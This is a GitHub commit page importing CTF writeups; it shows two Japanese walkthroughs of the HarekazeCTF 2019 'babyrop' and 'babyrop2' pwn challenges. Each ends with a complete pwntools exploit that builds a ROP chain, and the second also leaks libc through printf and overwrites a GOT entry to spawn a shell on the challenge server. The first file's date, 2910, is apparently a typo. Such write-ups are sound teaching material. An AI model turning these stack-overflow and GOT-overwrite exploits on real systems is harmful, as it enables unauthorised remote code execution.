Skip to content
Permalink
Browse files

Import ctf writeups

  • Loading branch information
d3npa committed Nov 24, 2019
1 parent 0b90195 commit 8f7bbe13b798935b39b60c8b44d7fe6d89a83d38
Showing with 1,837 additions and 0 deletions.
  1. BIN ctf/HarekazeCTF/.res/babyrop2_1.png
  2. BIN ctf/HarekazeCTF/.res/babyrop2_2.png
  3. BIN ctf/HarekazeCTF/.res/babyrop2_3.png
  4. BIN ctf/HarekazeCTF/.res/babyrop2_4.png
  5. BIN ctf/HarekazeCTF/.res/babyrop2_5.png
  6. BIN ctf/HarekazeCTF/.res/babyrop2_6.png
  7. BIN ctf/HarekazeCTF/.res/babyrop2_7.png
  8. BIN ctf/HarekazeCTF/.res/babyrop2_8.png
  9. BIN ctf/HarekazeCTF/.res/babyrop2_9.png
  10. BIN ctf/HarekazeCTF/.res/babyrop_1.png
  11. BIN ctf/HarekazeCTF/.res/babyrop_2.png
  12. BIN ctf/HarekazeCTF/.res/babyrop_3.png
  13. BIN ctf/HarekazeCTF/.res/babyrop_4.png
  14. BIN ctf/HarekazeCTF/.res/babyrop_5.png
  15. +84 −0 ctf/HarekazeCTF/babyrop.md
  16. +184 −0 ctf/HarekazeCTF/babyrop2.md
  17. BIN ctf/InterKosenCTF/.res/ziplist_1.png
  18. BIN ctf/InterKosenCTF/.res/ziplist_2.png
  19. BIN ctf/InterKosenCTF/.res/ziplist_3.png
  20. BIN ctf/InterKosenCTF/.res/ziplist_4.png
  21. +203 −0 ctf/InterKosenCTF/ziplist.md
  22. +107 −0 ctf/SECCON-ctf4b/Pwnable/babyheap.md
  23. +76 −0 ctf/SECCON-ctf4b/Pwnable/memo.md
  24. +105 −0 ctf/SECCON-ctf4b/Pwnable/oneline.md
  25. +87 −0 ctf/SECCON-ctf4b/Pwnable/shellcoder.md
  26. BIN ctf/TJCTF-2019/.res/printf_polyglot_1.png
  27. BIN ctf/TJCTF-2019/.res/silly_sledshop_1.png
  28. +278 −0 ctf/TJCTF-2019/Halcyon_Heap.md
  29. +150 −0 ctf/TJCTF-2019/Printf_Polyglot.md
  30. +128 −0 ctf/TJCTF-2019/Silly_Sledshop.md
  31. BIN ctf/angstromCTF/.res/server_1.png
  32. BIN ctf/angstromCTF/.res/server_2.png
  33. BIN ctf/angstromCTF/.res/server_3.png
  34. BIN ctf/angstromCTF/.res/solved_challenges.png
  35. +37 −0 ctf/angstromCTF/chain_of_rope.md
  36. +185 −0 ctf/angstromCTF/server.md
  37. +65 −0 unix/python-rust.md
  38. +148 −0 unix/ropping-note.md
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,84 @@
// date: 2910-05-20

# はじめに
5月18日、 [#HarekazeCTF](https://twitter.com/hashtag/HarekazeCTF) に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。

# babyrop

## プログラム解析

ncatで接続可能なアドレスとポート番号に、ELFバイナリを手に入れます。

まず、`checksec`を使い、ELFのセキュリティ機構を確認します。

![babyropのセキュリティ機構](.res/babyrop_1.png)

RELRO、スタックカナーリやPIEが無く、すっごく助かります (^^;
<br>*これらのセキュリティ機構について、詳しくは[こちらの記事をご参照ください](https://web.archive.org/web/20170306105226/http://pwn.hatenadiary.jp/entry/2015/12/05/195316)。*

次に`radare2`で開き、main関数の逆アセンブリを解析しましょう。

![babyropの逆アセンブリ](.res/babyrop_2.png)

結構簡単なプログラムですが、動作を言葉で説明すると、下記のような感じでしょうね

1. `echo`シェルコマンドの文字列を`rdi`に用意、`system`を呼び出すのでメッセージを出力する
2. `scanf`を使い、任意なサイズの入力をスタック変数(`rbp-0x10`)に読み込む
3. フォーマット形式と、`rbp-0x10`(前の入力)をレジスタで指定、`printf`で入力を含めたメッセージを表示する

この問題の名前が「babyrop」なので、そしてスタックカナーリがないため、ROPが使うべきだとわかりますね。

それでは、ROPを使うので`system("/bin/sh");`を実行することを目的としましょう。

## シェル奪いの作戦

`system`を呼び出せば、引数を正しく用意しないといけません。mainの逆アセンブリを参考とし、`system`を呼び出した前に、シェルコマンド文字列へのポインターを`edi`で指定したことがわかりますね。ちなみに`edi`ですが、この場合に一緒なので、`rdi`を使ってもOK。

したがって、`edi`あるいは`rdi`に値を指定するいわゆる「ROP Gadget」が必要となります。良かったことで、`radare2`にはそういうガジェットを発見するという機能がありますので、`pop rdi`のガジェットを探してもらいましょう。

![babyrop_gadget](.res/babyrop_3.png)

さすが`radare2`ですね!よって`0x00400683`には、`pop rdi; ret`という命令が存在することがわかりました。

また、ポインターで指定できる`"/bin/sh"`の文字列を検索しましょうか。

![babyrop_string](.res/babyrop_4.png)

よし。`0x601048`には、`"/bin/sh"`という文字列が置いてあるようです。これで、「ROP Chain」の準備がやっとできました!

## エクスプロイト作成

```python
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
pop_rdi = p64(0x400683)
addr_binsh = p64(0x601048)
call_system = p64(0x4005e3)
payload = "a" * 0x10 # バッファーを超える
payload += "b" * 8 # RBP
payload += pop_rdi # ガジェットに移動する
payload += addr_binsh # rdiにpopされる
payload += call_system # 関数の呼び出しに移動する
# sock = process(["./babyrop"])
sock = remote("problem.harekaze.com", 20001)
sock.readuntil("? ")
sock.sendline(payload)
sleep(1)
sock.interactive()
sock.close()
```

## シェルを奪い!

![babyrop_pwn](.res/babyrop_5.png)

以上 HarekazeCTF-2019の「babyrop」のライトアップでした。

最後まで読んで頂き、ありがとうございました!
@@ -0,0 +1,184 @@
// date: 2019-05-20

# はじめに
5月18日、 [#HarekazeCTF](https://twitter.com/hashtag/HarekazeCTF) に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。

[「babyrop」のライトアップ](https://madousho.hatenadiary.jp/entry/2019/05/20/015653)も投稿してありますので、ぜひ前に読んできてくださいね!

# babyrop2

## プログラム解析

「babyrop」のときと同じように、接続できるIPアドレスとポート番号、そしてELFバイナリが手に入れます。加えて、今度は`libc.so.6`も渡されます。

いつもどおりに、`checksec`でセキュリティ機構を確認します。

![babyrop2 checksec](.res/babyrop2_1.png)

今回も、RELRO、Stack、そしてPIEが無い。Nice! !(^-^)!

また`radare2`で開き、main関数の逆アセンブリを読んでいきましょう〜

![babyrop2 disassembly](.res/babyrop2_2.png)

> 画像が小さすぎるのであれば右クリックし、Ctrlまた⌘キーを押しながら「画像を表示」で開いてください。
一般のユーザが実行すれば、「babyrop」の動作と何が違うか見極められないけど、逆アセンブリを読めばその違いがよくわかりますね。また言葉で説明してみます。

1. 在bss領域文字列を`edi`で指定、`printf`でメッセージを出力する
2. `read`で、0x100バイトまで入力をスタック変数(`rbp-0x20`)に読み込む
3. フォーマット形式と`rbp-0x20`を引数として用意、`printf`で前の入力を含めたメッセージを表示する

「babyrop」に比べると、大きいな違いがありますね!「babyrop」と違って、`system``/bin/sh`がプログラムに含められていないのです。なので、ROPを行えば、`system`にジャンプするために、呼び出す前にそのlibc以内のアドレスを計算することが必要となります。

`printf`を使えば、GOT領域からある関数のlibcポインターをリークすることが出来るはずです。そうしたら、既に有している`libc.so.6`を使い、`system`関数とその関数の距離を計算することが出来ます。では、`read`関数を狙おうと思います。

ROPで`printf`を呼び出せば、フォーマット形式を`rdi`にし、引数を`rsi`で示します。したがって`pop rsi``pop rdi`というガジェットが必要です。

![babyrop2 gadgets](.res/babyrop2_3.png)

良き。

```python
pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
```

>【注意】`pop rsi`の直後に`pop r15`という命令があるので気をつけてください。このガジェットを利用するときに、`r15`に保存されるための何かも必ず用意するように。
次に`print`のPLTアドレスと`read`のGOTポインターを取りましょう。

![babyrop2 read@gots](.res/babyrop2_4.png)

```python
plt_printf = p64(0x4004f0)
got_read = p64(0x601020)
```

これで、`printf`にジャンプすることが出来、利用した上、`read`のGOTポインターをリーク、libc以内アドレスを掴むための準備が出来ました。

いまから試してみましょう。

```python
#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *
pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)
# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8 # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------
sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock.read()
sock.sendline(payload)
sock.readline()
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))
sock.close()
```

![babyrop leak](.res/babyrop2_5.png)

よし、成功! (≧∇≦)/!!

なう、`objdump`を使い、リークしたreadと、system関数のベース位置を把握、距離を計算します。

![babyrop2 system](.res/babyrop2_6.png)

よってreadのアドレスから`0xb1ec0`を引いたら`system`のアドレスになります。

```python
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))
addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))
```

最後のステップですが、計算した`system`のアドレスをどうやってプログラムに入力するのでしょうか、どうやって実行するのでしょうか?

いま、実行できるのは`printf``read``setvbuf``main`だけです。この中から、任意ジャンプのために使えるものが2つ。どれなのかわかりますか?

`printf``read`です!`printf`の場合、前みたいにFSBを発生させ、任意アドレスを上書きすることが可能です。そして`read`の場合、書き込み先のアドレスを引数として渡せばそれだけで任意書き込みができます。任意書き込みから任意ジャンプをどうやってするのかというなら、GOT領域のポインターを書き換え、繋がりの関数を呼び出すのが一つの方法です。

というわけで、次の作戦を考えました。`read`を利用し、`read`関数そのもののGOTポインターを上書きし、直後に文字列を同時に書き込むことにしようと思います。上書きの後、固定なGOT領域アドレスに保存した文字列を`rdi`レジスタにし、再び`read`を呼び出すことで`system`を実行する、という作戦であります。

`read`のGOTアドレスが既にわかりますので、最後の要する情報が、`read`のPLTアドレスだけです。

![babyrop2 read@plt](.res/babyrop2_8.png)

ようやく準備がすべて整えました!!\(^o^)/

## エクスプロイト作成

```python
#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *
pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)
# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8 # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------
call_read = p64(0x400500)
str_binsh = p64(0x601028) # got_readの直後
# ---- read(0, read@got, 0x100) ----
payload += pop_rdi + p64(0)
payload += pop_rsi + got_read + p64(0)
payload += call_read
# ----------------------------------
# ---- system("/bin/sh") -----------
payload += pop_rdi + str_binsh
payload += pop_rsi + p64(0) + p64(0)
payload += call_read
# ----------------------------------
# sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock = remote("problem.harekaze.com", 20005)
sock.read()
print "[*] Payload size = %s" % hex(len(payload))
sock.sendline(payload)
sock.readline()
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))
addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))
sock.sendline(p64(addr_system) + "/bin/sh\x00")
sock.interactive()
sock.close()
```

## 実行してシェル奪い!

![babyrop2 pwn](.res/babyrop2_9.png)

今回は長かったのですが、最後まで読んで頂き、ありがとうございました!
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

0 comments on commit 8f7bbe1

Please sign in to comment.
You can’t perform that action at this time.